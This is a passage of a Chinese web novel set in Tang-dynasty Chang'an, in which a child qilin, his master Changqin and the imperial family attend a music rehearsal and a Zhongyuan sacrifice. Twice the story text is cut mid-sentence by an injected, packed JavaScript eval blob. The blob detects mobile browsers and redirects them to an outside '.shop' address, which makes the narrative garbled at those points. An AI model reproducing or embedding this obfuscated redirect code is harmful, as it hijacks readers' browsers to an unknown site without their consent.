“哦!对了!”景颐拍了下手,“那个笑得很大声的白衣伯伯,他旁边还有个老爷爷用个金闪闪的乌龟换酒喝!好傻哦,乌龟怎么能换酒呢?那又不是玄武爷爷。” “不得无礼。”长琴敲了敲他的头,警告他,而后又想起什么,“你们与梦中之人,可有交谈?” “没有呀,”景颐捂着被敲的脑壳,“他们好像看不见我们,也听不到我们说话。” “日后若再与陛下于梦中相遇,”长琴沉吟片刻,轻声嘱咐,“莫要主动靠近梦中之人,亦莫要试图改变梦中任何事情。只当自己是看客,记住了吗?” “为什么呀?”景颐不解。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114020|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为,”长琴的声音很轻,“梦如流水,强改其道,或会溅湿自身。你只需看,回来后告诉为师便好。” 景颐似懂非懂地点点头,很快又沉浸在对热闹梦境的回忆里:“那个白衣服的伯伯真有趣,师父,我们以后也能见到那么有趣的人吗?我也想用亮亮的东西换酒喝!” 长琴:“……” 景颐不依不饶,追问着什么时候还能再见到有趣的人。 见师父低着头调弦不搭理他,景颐眼珠一转,跑回房间,开始翻自己的宝贝找有没有亮亮的东西。 他也要拿亮亮的东西换好吃的吃。 恰在此时,宫人通传,长乐公主和九皇子来了。 听到声音,景颐立马回头,看见丽质牵着雉奴走进屋里。 他连忙迎上,手里还拿着刚翻出来的宝贝:“阿姊!雉奴!正好看看我的宝贝!” 他手捧着宝贝递给他们看。 “哇!”两人同时发出一声惊叹。 “亮!好看!”雉奴伸出手指,想戳一戳。 丽质连忙抓住他的手:“这个宝石好漂亮!叫什么名字啊?” 名字?景颐挠挠头,这是他曾经从小貔貅的牙缝里抠出来的,为此小貔貅还生了好长时间的气,还是景颐给他拔了好多根仙鹤的羽毛才哄好。 “嗯……叫、叫貔貅泪!”景颐挺起小胸脯,得意地宣布。 “貔、貅、泪?”丽质试着重复,觉得这名字好听又奇怪,“是貔貅的眼泪化成的宝石吗?” “差不多吧!”景颐含糊道,反正当时小貔貅也掉了好多金豆子,“它可亮了!我都想好了,以后就拿这个去换……” 他压低声音,神秘兮兮地说:“换最好吃的酪樱桃和毕罗!说不定还能换一坛子酒呢!” 话音刚落,一道灵气就砸在景颐头上,同时还传来长琴的声音:“不许喝酒。” 景颐被砸得“哎呦”一声,听到师父的话,吐了吐舌头。 雉奴也学着景颐:“哎呦!哎呦!”景颐伸手捏了捏他的脸,“哼,不许学!” 丽质却蹙起细细的眉,小大人似的说:“景颐弟弟,这么漂亮的宝石,还是收好吧。市集上的人,万一、万一不识货,或者起了坏心呢?” 她想起娘娘和嬷嬷的教导,贵重之物不可轻易示人。 景颐一听,小脸顿时垮了:“啊?不能换啊?” 他看看手里流光溢彩的貔貅泪,又想想梦里金龟换酒的潇洒,觉得有点委屈。亮亮的东西不能换好吃的,那还有什么用? “不过,”丽质见他失望,连忙安慰,“你可以给我们多看几眼呀!而且,宫里也有好多好吃的点心,不用宝石换,我让嬷嬷去拿给你!” 雉奴也用力点头:“给!吃!” 景颐的情绪来得快去得也快,听到有点心吃,立刻又高兴起来,把貔貅泪随手揣回荷包里:“好!那我们先去吃点心!吃完点心,我们来玩个新游戏,我刚从别处学会的!” 三个孩子顿时把宝石、换酒什么的抛在脑后,叽叽喳喳地讨论起是先吃玫瑰酥还是先吃玉露团,笑声充满了屋子。 另一间屋子的长琴,指尖终于落在琴弦上,流出一段清泉般的泛音。 他听着孩子们无忧无虑的笑声,垂下眼帘,琴音渐起,将这欢乐,轻轻拢入宁静的旋律里。 11. 第 11 章 六月的长安,暑气初显。 凝云轩的竹林滤下细碎金斑,空气中浮动着竹叶与檀香混合的清冽气息。 长琴端坐在廊下,他今日并未抚琴,面前摆着一卷刚译出的星图残拓。 三日前,太常寺那位须发皆白的老乐正颤颤巍巍地捧出此物,他浑浊的眼底迸出的光,格外的亮。 “此纹非刻非绘,是响出来的。”老人枯指抚过羊皮表面凹凸的韵律暗痕, “武德七年,邙山古观地陷,老道在断碑下得的。都说它是前朝祭天的《云门》残谱,可我抚了一辈子雅乐,从未听过这样的回音。” 回音。长琴指尖轻触那些凹凸。 不是乐谱,是某种宏大律动掠过天地时,在特殊物体上留下的拓印。 就如风过竹林留下的沙沙声,这卷残拓,是《鸣岐谱》的某个乐章曾经响彻时,震进石碑又转印到羊皮上的。余音的残响。 而星图指向洛阳以北,邙山深处。那里有隋末战乱时崩塌的古观遗址,更有沟通天地的九州地脉结穴之一。 他必须去。 景颐的溯梦近来愈发活跃,前夜孩子嘟囔“梦里有好大的钟在土里哭”,醒来时掌心竟有淡金纹路一闪而逝。 那是麒麟本源受时间乱流刺激开始不稳的征兆。《鸣岐谱》不能再等了。 “师父!” 脆生生呼唤撞碎沉思。景颐顶着一头睡乱的小卷毛从厢房冲出来,赤脚奔过青石板,腕上丽质送的铃铛叮当作响。 他手里举着片不知从哪捡的、泛着虹光的翠鸟羽毛,眼睛亮得惊人:“看!昨天那只小鸟掉的!像不像琴弦上的光?” 长琴接过羽毛,虹彩在指尖流转。是只颇有灵性的翠鸟,许是被景颐身上纯净的祥瑞气息吸引,才落羽为赠。 他随手将羽毛别在徒弟衣襟上:“既赠你,便收好。今日这般早?” “嬷嬷说,立政殿新做了槐花冷淘!”景颐扒着师父膝盖,忽又想起什么,小声问,“您今天……真的要出门呀?” 向来孩子是不愿面对离别的。长琴看着那双努力藏起不安的深褐色眼睛,将他抱到身侧石凳上坐好。 “为师去寻琴谱,你知晓的。”他声音比平日更缓,“短则七八日,长不过旬月。这些时日——” “要听李叔叔和大姐姐的话,不能乱跑,玉佩不离身,想师父了就看星星。” 景颐抢着背完,瘪瘪嘴,把脸埋进长琴怀里,“师父说星星是您拨的弦,走到哪都能听见……那您要常拨弦呀。” 长琴掌心覆上孩子细软的发顶,一缕温润灵力如溪流般缓缓注入,是加固也是安抚。“自然。你在此处安好,为师方能专心寻谱。” 日光渐炽时,李世民与长孙皇后亲至凝云轩。 李世民今日身着常服,一袭天青绢袍,玉冠束发,比平日更潇洒几分。长孙皇后则是一身杏子黄的齐胸襦裙,臂挽月色披帛,笑意温婉。 “仙长放心。”李世民率先开口,目光扫过紧紧挨着长琴的景颐,“景颐在宫中,便如高明、青雀一般。我已吩咐下去,凝云轩内外增三班侍卫,皆我亲选之人。一应饮食用度,由立政殿直供。” 长孙皇后上前,轻轻牵过景颐的手,蹲身与他平视:“景颐可愿这些时日,常来立政殿玩?丽质和雉奴听说你要多住些日子,高兴得昨夜都没睡好,说要带你认全御花园所有蝴蝶。” 景颐看看皇后温柔的眼,又仰头看师父。长琴对他颔首。 “嗯!”景颐重重点头,忽然想起什么,从怀里掏出个鼓囊囊的小锦囊,塞进长琴手中,“给师父的!” 长琴解开,是五六块裹得歪歪扭扭的芝麻糖,还有一枚圆润的青金石,正是前几日他夸过色泽沉静的那枚。 “糖是昨天大姐姐给的,我留了一半。石头,带着它,就像带着颐儿的眼睛,帮师父看路!”景颐说得很认真。 长琴收拢锦囊,纳入袖中。“好。” 再无多言。他起身,对帝后郑重一揖,李世民与长孙皇后也同时还礼。 最后看了眼死死抿着嘴、眼圈微红的徒弟,长琴转身,一步踏出轩门。夏风拂过,青衣消失在竹林小径尽头,连脚步声都未曾留下。 景颐追到月洞门边,踮脚张望,只看见竹梢摇曳,云影划过碧空。 一只温暖的手轻按在他肩头。李世民不知何时站到他身旁,望着同一片天空,声音沉稳:“你师父是去做很重要的事。就像我有时要亲征,高明他们也会这般目送。” 景颐揉揉眼睛,忽然问:“李叔叔,您也会怕重要的人不回来吗?” 李世民沉默片刻,低头看他:“会。所以我会让自己变得更强,强到能把所有人都带回来。” 他弯腰抱起景颐:“走,今日休沐。带你去看看我年轻时驯过的昭陵六骏石刻拓本,其中飒露紫的故事,你师父或许还没讲过。” 长孙皇后含笑跟在身侧,指尖轻拂过景颐衣襟上那枚虹彩流转的翠羽。 凝云轩安静下来。 石桌上,那卷星图残拓被长琴以灵力封存。最后一抹离去的灵力在轩中盘旋不去,化作一缕极淡、极清的弦音,缠绕竹梢,终日不绝。 —— 长琴离宫第九日。 凝云轩的竹叶依旧青翠,石桌上那缕清音也依旧每日清晨准时流淌。 景颐晨起第一件事便是跑到廊下,踮脚听一会儿,才肯乖乖洗漱。那是师父留的报平安的弦音,一日未断,便是一日无恙。 他被照顾得极好。李世民果真时常带他看石刻、讲兵法,甚至允他在两仪殿偏殿玩,案上堆的奏疏挪开一角,给他腾出摆弄鲁班锁的地方。 长孙皇后更是将他日常带在身边,立政殿常备着他爱吃的槐花冷淘和樱桃酪,丽质与雉奴几乎成了他的小尾巴。 这日午后,暑气正盛。立政殿后阁放了冰鉴,丝丝凉意混着薄荷清香。 长孙皇后在窗下看账册,丽质和李治挨着景颐,三个脑袋凑到一起,看着李承乾和李泰打双陆。 玉制棋子落在紫檀棋盘上,发出清脆的“哒哒”声,与阁外绵长的蝉声交织。 景颐看了一会儿便失了兴致,棋子规矩地走格,哪有跑来跑去来的痛快?他小脑袋转来转去,耳朵却忽然动了动。 不是蝉鸣,也不是棋子声。 是乐声。极远,被重重宫墙与暑气过滤的只剩一缕游丝,却像根羽毛,轻轻搔着他耳朵,让他的心也跟着浮动起来。 “阿姊,”他拽拽丽质衣袖,眼睛亮起来,“你听,是不是有人在弹曲子?” “弹曲子?”李治学舌,竖起耳朵,却只听到兄长们的落子声和蝉鸣。 丽质也侧起耳朵,摇摇头:“没有呀。” 李承乾和李泰也停了棋局,李泰最是好奇:“什么曲子?我怎么没听见?” “有!”景颐肯定道,他已站起身,像只嗅到花蜜的小蜜蜂,循着那几不可闻的声音往外走,“好听的!我们去找!” 长孙皇后从账册间抬起头,见状微笑:“景颐听到了什么?” “好听的歌!”景颐形容不来,“像……像师父调弦时,有时候会有的那种嗡嗡的回音。” 这话让长孙皇后心中微动,她放下账册,目光温和地看着他:“景颐听见的是太常寺在排演中元祭乐吧?今日是该合练《云门》大章了。”她记得日程。 “大姐姐,我们能去看看吗?”景颐跑过来,拽着她的衣袖轻晃,软声撒娇,“就看看!” 长孙皇后向来无法抵抗景颐的撒娇大法,她捏了捏景颐软乎乎的小脸,笑道:“既然如此,那就让王嬷嬷带你们去太常寺官署附近走走可好?” 看着景颐兴奋地连连点头,她又补充道:“只许在外围廊下观望,莫要打扰乐工正事。” 她特意选了最沉稳的老嬷嬷,又点了四个机警的内侍。太常寺在皇城东南隅,离后宫不远,沿着宫墙内甬道走,一路皆有侍卫。 待长孙皇后安排好后,景颐蹦蹦跳跳地拉着丽质和李治的手往外飞奔。 而李承乾和李泰虽然也很好奇,但外头暑气难耐,且手下的双陆还没打完,便没跟着他们一起去。 一行人出了立政殿,穿过两道垂花门,沿着宫墙内槐荫覆盖的甬道向东。 越往太常寺方向走,那乐声便越清晰。钟、磬、瑟、箫……许多声音叠在一起,庄重里混着一丝不易察觉的滞涩,像本该流畅的小溪卡了几处小石子。 太常寺官署是座三进院落,青瓦灰墙,古柏参天,自有一番肃穆气象。 乐声从第二进的正堂传出,院门开着,乐工们正襟危坐,主位的老乐正裴亶眉头紧锁,手中的象牙尺再次敲下: “停!还是不对!商转羽,要的是圆融贯通,如云气般自然流转!你们这、这分明是硬扭过去的!” 乐工们面露难色,一位吹箫的老乐师擦了擦额头的汗:“裴工,谱上便是如此标记,下官已是按谱……” “按谱!按谱!”裴亶又是气急,“谱是死的!《云门》之乐传自黄帝,本该沟通天地!你们奏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114021|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得如此生涩,如何引动灵应?” 他年事已高,此次中元大祭是他最后一次奏乐,自然是看得极重,生怕有一丝瑕疵。 “箫声需再沉三分,与钟磬和鸣,不可抢拍!再来!” 乐工们重整气息,又奏。可到了那处转折,箫声依旧略显凝滞,与厚重的钟磬总差一丝契合。 “唉……”裴亶叹气。 景颐在门外听得入神,他不懂乐理,但那不契合的感觉在他耳中异常鲜明。 就像流云境的仙鹤偶尔飞歪了队形,他看着就别扭。他无意识地跟着那旋律哼起来,试图在心里把歪掉的地方掰正:“嗯……这里应该,往下沉一点点,像石头落进深潭,然后等钟响了再起来……” 他哼得极轻,几乎只是气音。但调子里有种奇异的笃定,几个细微的音高变化,竟暗合了某种更古老、更自然的韵律节奏。 那是他偶尔听长琴抚弄太古残谱时,无意间记下的乐感。 门内,裴亶猛地抬头! “谁?!”他霍然起身,几步跨到院门边。 廊下,嬷嬷内侍们慌忙行礼:“见过裴乐正。” 裴亶却一眼看见了被丽质挡在身后、还保持着哼唱口型的景颐。孩子衣着精致,面容灵秀,尤其那双眼睛,澄澈得仿佛能映出乐器上流动的光。 “刚才是……小郎君在哼曲?”裴亶声音有些发颤。 景颐见这老爷爷胡子都白了,眼神急切地像要吃了自己,往丽质身后缩了缩。 丽质忙道:“裴公,这是景颐弟弟,母后让我们在此观赏,可是打扰了?” “不不不……”裴亶摆摆手,目光仍锁在景颐脸上,像在看什么稀世珍宝,“小郎君,你方才哼的……能否再哼一次?就最后那两句。” 景颐感觉到他情绪缓和了下来,胆子大了点:“就是,嗯……咚——沉下去,等当——响了,再嗡——浮起来……” 他边哼边用手比划,模拟音高起伏。没有词,只有最纯粹的韵律直觉。 裴亶听着,眼底的光越来越亮。待景颐哼完,他竟不顾礼仪,一把抓住景颐的小肩膀,被嬷嬷轻咳一声才松开,激动得胡子直抖: “妙!妙啊!正是此意!商转羽,非直坠,乃石落深潭,需那一下沉透的余韵,待钟磬之波漾开,再起新声……老朽钻研《云门》四十余年,竟不如稚子一语道破天机!” 他猛地转身,对乐工高声道:“都听见了?按小郎君这感觉再来一次!箫声,沉下去!等!等钟响!” 乐工们虽茫然,但依言重奏。这一次,那箫师刻意压住气息,在转折处留出一刹珍贵的空白,待钟磬轰鸣的余韵漫开,才缓缓托起后续旋律。 嗡…… 堂内空气仿佛都随之震动。先前那滞涩感豁然贯通,整段乐曲如活水般流淌起来,庄重中竟透出一丝天地交感的宏大意味。 “成了!成了!”裴亶激动得老泪纵横,对着景颐,郑重地、深深地长揖到地:“老朽……拜谢小郎君指点迷津!此恩此德,太常寺上下没齿难忘!” 景颐被这大礼吓了一跳,躲到丽质身后,只露出一只眼睛眨巴着。他不明白老爷爷为什么这么激动,他只是觉得那样吹比较好听呀。 “裴公!”嬷嬷连忙上前扶起,温声提醒,“皇后殿下还在等小郎君回去用点心呢。” 裴亶醒悟,忙收敛情绪,但看景颐的眼神已截然不同。他小心翼翼地问:“小郎君可曾习乐?师从何人?” 景颐摇头:“没有呀。就是听师父弹琴,有时候做梦也会听到好听的歌。” 做梦……裴亶心中震撼更甚。 他忽然想起月前宫中隐约流传的凝云轩仙长之说,再看这孩子通身灵气,隐约明白了什么,不敢再多问,又深深一揖:“今日蒙小郎君点拨,老朽与太常寺上下,感激不尽。” 回立政殿的路上,丽质好奇地问:“景颐弟弟,你怎么知道那里该那样唱呀?” 景颐自己也说不清,挠挠头:“就觉得,那样才对劲。像树上果子熟了就该掉下来,水往低处流一样自然。” 王嬷嬷与内侍对视一眼,将今日之事牢牢记下。 当夜,长孙皇后听罢王嬷嬷面带惊色的详细禀报,静坐良久。 她铺开宣纸,提笔将此事记下。 写到“景颐闻《云门》而正其音,裴亶谓之天授……”时,笔尖悬停,一滴墨悄然洇开。 她望向窗外星空。那里,长琴留下的弦音正与夜风交织。 半月后,便是中元。 12. 第 12 章 七月十五,望日。 长安城自清晨起,便笼罩在一层肃穆之中。各坊设祭,家家户户以素食新谷祭祖,纸钱青烟袅袅升腾,连西市的胡商都收敛了叫卖,在门前摆上一碟瓜果。 皇宫的祭祀设在大明宫东南的圜丘。 三层圆坛以白玉砌成,象征天圆地方。坛周按二十八星宿方位树青旗,坛上设天地神位,三牲六礼陈列有序。 太常寺乐工三百人环列下坛,着玄端礼服,持钟磬笙箫,静默如林。 景颐寅时就被唤起,长孙皇后亲自为他换上月白色的锦缎深衣,腰间束玄色绦带,配以那枚从不离身的羊脂玉佩。 丽质与李治亦着礼服,三个孩子跟着长孙皇后身后,乘舆驾前往圜丘。 “景颐,”舆车中,长孙皇后轻声嘱咐,“稍后无论看到什么,莫要出声,莫要乱动,抓紧雉奴的手。” 她目光温和,话里却带着郑重。 景颐似懂非懂地点点头,心里却想起昨夜梦见师父在一片漆黑的山谷里拨弦,弦音荡开时,许多模糊的影子从地底浮起,对着仅有的一道光束作揖。 卯正,日出东方。 李世民登坛,着十二章衮冕,玄衣纁裳,佩大圭,执镇圭。初阳金光镀在他身上,天子的威仪与此刻的虔诚浑然一体。 长孙皇后率后宫与宗室、命妇于下坛东侧,皇子公主们在更外围的观礼区。 太常博士立于乐工前,深吸一口气,举麾。 “吉时到——迎神——” 三百乐工齐奏《云门》。 正是景颐那日点拨过的段落。钟声雄浑如大地初开,磬声清越似清风过隙,萧管沉沉而下,瑟弦袅袅而起。 这一次,所有的滞涩尽去,整部乐章如一条银河,从坛上奔涌,携着无数人的愿力与念想,直上九霄。 景颐睁大了眼。 常人只见香烟升腾,乐声庄严。在景颐眼里,那乐声竟在空中凝出了淡金色的纹路,如同师父抚琴时偶然在弦上荡开的灵光涟漪。 这些音纹交织上升,在虚空中缓缓旋成一个巨大的、若隐若现的漩涡。 漩涡深处,有清光透出。 起初只是一点,随即迅速扩大,化作一道贯通天地的光柱,纯净、肃穆、带着无法言喻的古老威压。光柱中,隐约可见宫阙虚影,仙官侍立。 坛上,李世民率百官三跪九叩,诵读祭文。他声音沉稳有力,每个字吐出,都有一缕淡紫的帝王气运融入乐声的金纹中,让那光柱愈发凝实。 光柱中央,一道身影渐渐清晰。 景颐屏住呼吸。 那是位身着玄色帝王冕服的神祇,冠冕十二旒垂下,遮住半张面容,只露出线条冷峻的下颌与薄唇。 他周身笼罩着一层似有若无的青色光晕,右手持玉笏,左手虚托一本摊开的、光芒流转的巨册,是地祇考功簿。 地官大帝,清虚帝君。 帝君降临的刹那,整个圜丘的空气都凝滞了一瞬。风停,蝉噤,连飘扬的青烟都定格成笔直的线。唯有乐声与祭文声仍在流淌,汇入大帝周身的光晕中。 祂开始工作。 没有多余动作,玉笏轻点,考功簿自动翻页。 无数极细的、常人不可见的淡金色丝线从长安城各处,家家户户的祭坛、佛寺道观的法会、甚至荒郊野坟的孤烟,汇涌而来,没入簿中。 那是众生今日的祈愿、忏悔、追思与功德。 帝君的目光淡漠地扫过这些丝线,偶尔在某条上停留,指尖微动,或加持一缕清气,或抹去一缕浊色。 祂的工作高效、精确,不带丝毫情绪,如同天道本身在履行既定的章程。 景颐看得入神。他能感觉到,这位帝君身上有种与师父相似又不同的气息。 师父的灵气清冷疏离,如高山雪;这位帝君的神威则厚重渊深,如无边大地。 许是看得太专注,他无意识间泄露了一丝自己的气息。 纯净、蓬勃、尚未被红尘沾染的先天麒麟瑞气。 坛上,大帝正在批阅一条格外粗壮的功德金线,忽然动作一顿。 祂缓缓抬头,目光越过层层仪仗、百官、乐工,精准地落在了观礼区那个小小的月白色身影上。 十二旒轻轻晃动。 四目相对。 景颐心脏怦地一跳,下意识抓紧了李治的手。李治茫然地抬头看他,不明白小兄长为何突然用力。 帝君的目光在景颐身上停留了三息。那双隔着玉旒看不清的眼眸里,似乎闪过一丝极淡的讶异,随即化为了然。 祂对景颐微微颔首。 一个极轻微的动作,却让景颐周围的空气都温暖了几分,仿佛有看不见的手轻轻拂过他的头顶,颈间的玉佩也骤然温暖。 然后,帝君继续工作,仿佛刚才只是处理了一个微不足道的小插曲。 祭祀进入高潮。李世民亲手点燃祭天台上的青词表文,火焰腾起三丈,与光柱交相辉映。太常寺乐工奏响《咸池》,乐声宏大如潮,推动着所有愿力涌向光柱中的大帝。 约莫一刻钟后,考功簿光芒渐敛。帝君合上簿册,玉笏一收,那道贯通天地的光柱开始缓缓收缩。祂的身影随之淡去,最后化作一点清光,消失在漩涡深处。 漩涡闭合,金色音纹消散。 风重新开始流动,蝉鸣再度响起。 “礼成——送神——” 太常博士的声音带着沙哑。三百乐工奏完最后一个音符,余音在圜丘上空回荡许久,才渐渐融入夏日的风里。 百官山呼万岁,祭祀圆满结束。 李承乾松开紧握的掌心,这才发觉指尖冰凉。他侧目看向身旁的景颐,孩子正仰着小脸,怔怔望着大帝消失的天空,深褐色的眼眸映着朝霞,流光溢彩。 “景颐?”他轻声唤。 景颐回神,转头对他露出一个大大的笑容,小手兴奋地拽着他的衣袖,压低声音却难掩激动:“高明大兄,我看见啦!” “看见什么了?” “一个穿黑衣服、戴好多珠珠的伯伯,他对我点头啦!”景颐指着帝君消失的那片天空,比划着,“他还拿着好大好亮的本子,好多金线线飞进去……” 李承乾顺着他的手指望去,只见蓝天流云,空无一物。他心中猛地一跳。 他不是第一次察觉景颐弟弟的不同。西市食楼的蹊跷平息,还有耶耶娘娘偶尔看向这孩子时眼中那抹深思…… 都让他隐隐觉得,这位寄居宫中的弟弟,绝非寻常贵戚孩童。 而此刻,在这举国最庄严的祭祀大典上,在这连他都感到心神震撼的乐声与威仪中,景颐却说,他看见了别人看不见的“人”,还得到了对方的颔首? 李承乾的背脊下意识挺得更直。他迅速环视四周,确认无人注意他们这边的低语,然后用力握了握景颐的手,声音压得极低,带着不容置疑的严肃: “景颐,此话出去后,对任何人都不可再提,记住了吗?包括丽质和雉奴。” 景颐被太子哥哥前所未有的郑重语气震住了,懵懂地点点头。 李承乾深吸一口气,将目光重新投向祭坛。父皇正在焚表,火焰映照着衮冕,威严如神祇。 他的心跳却快了几分。景颐看见的会是什么?与这祭祀有关吗?与父皇近来眉宇间那抹深沉的忧思有关吗? 仪仗回銮。景颐被嬷嬷抱上舆驾时,忽然心有所感,猛地回头。 圜丘边缘,一株百年柏树的阴影下,不知何时立着一个青衣身 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“有李唐天子气运庇护,皇后悉心照拂,更兼此地祭祀中正,龙脉安稳。”长琴的回应恭敬而坦诚, “况颐儿灵性虽未稳,然赤子之心可感天地,留于此地,或比随我跋涉险地更为妥当。” “……小麒麟方才瞧我,眼睛瞪得溜圆,倒是比你这小子小时候活泼。” 帝君的意念里似乎掠过一丝极淡的笑意,“他身上古木的气息淡了,你寻到调理之法了?” “略有眉目。”长琴顿了顿,“《鸣岐谱》一线踪迹,指向洛阳。今日观此祭祀,乐舞中正平和,与地脉共鸣,或可佐证,此谱与调和人间礼乐秩序亦有关联。” “哦?” 帝君的意念略作沉吟,“你倒是敏锐。也罢,此事既涉光阴,你自己把握分寸。只是长琴,人间因果最是缠绵,帝王家尤甚。你护他平安,亦莫要令他过早深陷其中。” 这已是极为直白的提点。 “长琴谨记。”他再次躬身,“多谢清虚帝君今日对颐儿的照拂。” “举手之劳。此子灵秀,我看着也欢喜。” 声音渐如远去的风,只余最后一丝余音袅袅,“去吧,你徒弟在等你呢。改日得了空,带他来我府上坐坐,我那池子里养了几尾上古龙鲤,他应当爱看。” “是。” 意念消散,天地间最后一点清光敛去,圜丘彻底恢复平静。 帝君已归位,长琴直起身,看向远处舆驾上正捂着嘴、眼睛亮晶晶朝这边猛看的小身影,又想起帝君最后那句龙鲤,嘴角几不可察地弯了一下。 —— 是夜,凝云轩。 长琴洗净风尘,换回素净青衣。景颐像只树袋熊挂在他身上,叽叽喳喳说着他不在时所有的事:算盘、太常寺、祭祀、还有那个对他点头的黑衣服伯伯。 “师父,那个伯伯是谁呀?你认识吗?” 长琴替徒弟拆开发带,用木梳缓缓梳理他微卷的头发:“是地官大帝,掌赦罪考功。你应该唤一声清虚爷爷。” “爷爷?”景颐想像了一下那个威严神邸被叫爷爷的样子,感觉有点神奇,“那他喜欢我吗?” “喜欢。”长琴想起那句“我看着也欢喜”,语气柔和,“他说你比他认识的某个小时候很闷的小家伙活泼多了。” “谁呀?”景颐好奇。 长琴没答,只是将梳子放下,点了点他的眉心:“他还说,改日若得空,带你去他府上看龙鲤。” “哇!龙鲤!会发光会飞的那种吗?” “嗯,上古异种,应是很美的。” 13. 第 13 章 当夜,立政殿。 李世民与长孙皇后听完太常卿关于“乐感天地,祭祀圆满”的禀报,刚让人退下,李承乾便求见。 少年太子行礼后,挥退了殿内所有侍从,走到父母面前,将今日观礼时景颐那句石破天惊的低语,原原本本,一字不落地复述了出来。 殿内烛火“噼啪”爆开一个灯花。 长孙皇后手中的茶盏轻轻搁在了案上。李世民负手立于地图前的身影,半晌未动。 “……孩儿已嘱咐景颐弟弟,不可再对旁人言。”李承乾说完,补充道,目光清澈而坚定,“孩儿以为,景颐弟弟……所见非虚。且此事,恐关乎甚大。” 李世民缓缓转过身,看着已然初具沉稳气度的长子,眼中情绪复杂,有凝重,有深思,也有一丝不易察觉的欣慰。 “高明,”他沉声道,“你做得很好。此事,到此为止,勿再深究,亦勿外传。景颐,他确是特别的。正因其特别,我们更需护他周全,如同爱护你青雀、丽质、雉奴等弟妹一般。你明白吗?” “孩儿明白。”李承乾郑重应下。他明白,父皇这番话,是将一部分责任和秘密,交付给了他。这不仅是兄长的责任,更是储君的责任。 “去休息吧。”长孙皇后温声道,眼中满是慈爱与骄傲。 待李承乾退下,帝后二人相视无言。窗外的夏夜,似乎比往常更加深邃。 —— 凝云轩里飘着淡淡的药草香。 长琴正在用邙山带回来的地脉藓泡水,给景颐擦洗午后玩闹时蹭破的膝盖。孩子乖乖坐着,小腿一晃一晃,眼睛却粘在师父带回来的那个粗布包袱上。 “师父,”他第无数次问,“邙山好不好玩呀?” 长琴拧干布巾,敷在微红的伤口上:“非是游玩之地。” “那……有大妖怪吗?” “有守洞之灵,形若巨蚓,见首不见尾。” 景颐“哇”了一声,脑子里浮现出一条比房子还大的蚯蚓,立刻又追问:“它咬人吗?师父跟它打架了没?” “未打。”长琴将药膏细细涂匀,“为师弹了一曲《地载》,它听罢便沉入地脉深处,再无阻拦。” 孩子眼睛瞪得滚圆:“它喜欢听师父弹琴?” 在他心里,师父的琴声是世上最好的东西,连大蚯蚓都喜欢,简直再合理不过。 “或许。”长琴收好药罐,这才在景颐眼巴巴的注视下,解开那个灰扑扑的包袱。 里面没有金光闪闪的宝物。只有三样东西:一块巴掌大、布满蜂窝状孔洞的灰褐色石头,一卷用新竹简匆匆刻录的乐谱,还有个小陶罐,封着红泥,看不出里头是什么。 景颐先抓起那块石头。石头触手温润,沉甸甸的,凑近了听,竟有极其微弱的“嗡嗡”声,像是从很远的地底传来的回响。 “它会唱歌!”景颐惊奇道。 “此为响岩。”长琴接过石头,指尖在某个孔洞边缘轻轻一叩。那“嗡嗡”声立刻变得清晰了些,竟是几个断续、古朴的音阶。 “邙山古观遗址之下,地脉交汇处,有此石成林。万古以来,地脉每一次震颤、每一次灵潮起伏,都会在这石中留下回音。为师所寻的残谱律动,便烙印在其中一块响岩最深的孔窍里。” 他说的平静,景颐却听得心驰神往。他抱着石头,努力想象着地底石林随着大地呼吸轻轻鸣唱的画面。 “所以师父是把它的歌记下来了?”他指着那卷竹简。 “嗯。”长琴展开竹简,上面刻的并非寻常乐符,而是一些起伏的波纹状刻痕。 “此为地脉回响的形,需以特定灵力激发,方能转为音声。是《鸣岐谱》中,主安土、定脉的一章残篇。得之,对你稳定心神、梳理梦境有助益。” 景颐似懂非懂,只记住了这东西对颐儿好。他又好奇地指着小陶罐:“这里面是什么呀?” 长琴拍开红泥封口。一股清冽又湿润的草木气息弥散开来,罐底铺着些不起眼的、半透明的白色菌丝,其中混着几颗米粒大的、莹莹发光的孢子。 “是长在响岩旁的地光藓。”长琴拈起一颗发光的孢子,那微光在他指尖温柔亮着,“离了地脉滋养,光会渐弱。但它们能感应到特定韵律的波动。” 他抬眼看向徒弟,“比如,昨日祭祀时,天地间那股宏大的声音。” 景颐“啊”了一声,猛地想起什么,急切地说:“师父!昨天那个穿黑衣服、戴珠珠帘子的爷爷出现的时候,就有好大好亮的声音!金色的!像河一样从坛子流到天上去!” 他手舞足蹈地比划,试图描述那常人看不见的愿力光河与音纹。 长琴静静听着,琉璃色的眼眸里映着陶罐中孢子微弱的光。 “那是地官大帝履行神职,赦罪考功引发的天地共鸣。其律动之正、愿力之纯,确实罕见。”他顿了顿,看向景颐,“你所见的光河,便是那声音的形貌之一。” 景颐用力点头,忽然福至心灵,脱口而出:“师父,你要找的那个最厉害的主歌,是不是也藏在这样声音里面呀?” 长琴动作几不可察地一顿。 他重新封好陶罐,将响岩和竹简并排放在案上。窗外午后阳光斜照,尘埃在光柱中缓缓浮动。 “……或许。”他终于开口,声音比平时更轻,更像自言自语, “《鸣岐谱》非死物。其核心篇章,传说能调和时间、梳理文明之弦。这样的力量,或许不会静卧荒山,而更可能与一个时代最蓬勃、最剧烈、最纯粹的律动共鸣。无论是祭祀时的天地交感,还是战争中的万民悲欢,抑或是,盛世将颓时的警世钟鸣。” 